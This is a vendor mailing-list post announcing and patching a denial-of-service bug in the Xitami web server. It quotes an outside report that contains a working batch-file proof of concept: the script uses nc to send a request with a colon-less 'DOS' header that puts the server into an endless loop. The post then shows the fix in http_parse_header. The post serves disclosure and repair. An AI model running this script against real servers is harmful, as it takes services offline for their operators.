[Xitami] Xitami DOS reported, fixed

[Pieter Hintjens]

Hi,

A serious denial of service has been found in Xitami.  This is the report:

=2D-------------------------------------------------------------
Application: =A0 =A0Xitami Web Server
Vendors: =A0 =A0 =A0 =A0http://www.xitami.com/xiopen_2_5.zip
Version: =A0 =A0 =A0 =A0v2.5c1
Platforms: =A0 =A0 =A0Windows
Bug: =A0 =A0 =A0 =A0 =A0 =A0D.O.S
Date: =A0 =A0 =A0 =A0 =A0 2004-07-15
Author: =A0 =A0 =A0 =A0 CoolICE
e-mail: =A0 =A0 =A0 =A0 CoolICE#China.com
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Content:
=2D---------------
TestCode:
@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application: =A0 Xitami Web Server
:Vendors: =A0 =A0 =A0 http://www.xitami.com/xiopen_2_5.zip
:Version: =A0 =A0 =A0 v2.5c1
:Platforms: =A0 =A0 Windows
:Bug: =A0 =A0 =A0 =A0 =A0 D.O.S
:Date: =A0 =A0 =A0 =A0 =A02004-07-15
:Author: =A0 =A0 =A0 =A0CoolICE
:e-mail: =A0 =A0 =A0 =A0CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
if '%1'=3D=3D'' echo Usage:%0 target [port]&&goto :eof
set PORT=3D80
if not '%2'=3D=3D'' set PORT=3D%2
for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Nee=
d=20
nc.
exe&&goto :eof
echo GET / HTTP/1.0>http.tmp
echo HOST: %1>>http.tmp
echo DOS>>http.tmp
echo.>>http.tmp
nc -w 10 %1 %PORT% < http.tmp
del http.tmp
=2D-------------------------------------------------------------

Although the report was posted on the 15th, we received it this morning, so=
=20
there is some chance that people have exploited this against Xitami servers=
=20
in the meantime.

The denial of service is this: a malformed header (without the ':') causes =
the=20
server to enter an endless loop.

This DOS affects all versions of Xitami.  For those building from source, t=
he=20
affected file is smthttpl.c, and the patch is in the function=20
http_parse_header:

char *
http_parse_header (HTTP_CONTEXT *p_http, char *header)
{
=2E..
    while (header && *header && *header !=3D '\r') {
	...
        }
++        else
++           break;
    }
    return (header);
}

We are in the process of releasing new binaries, which will be on Xitami.co=
m=20
in a very short while.

=2D-=20
Pieter Hintjens
iMatix Corporation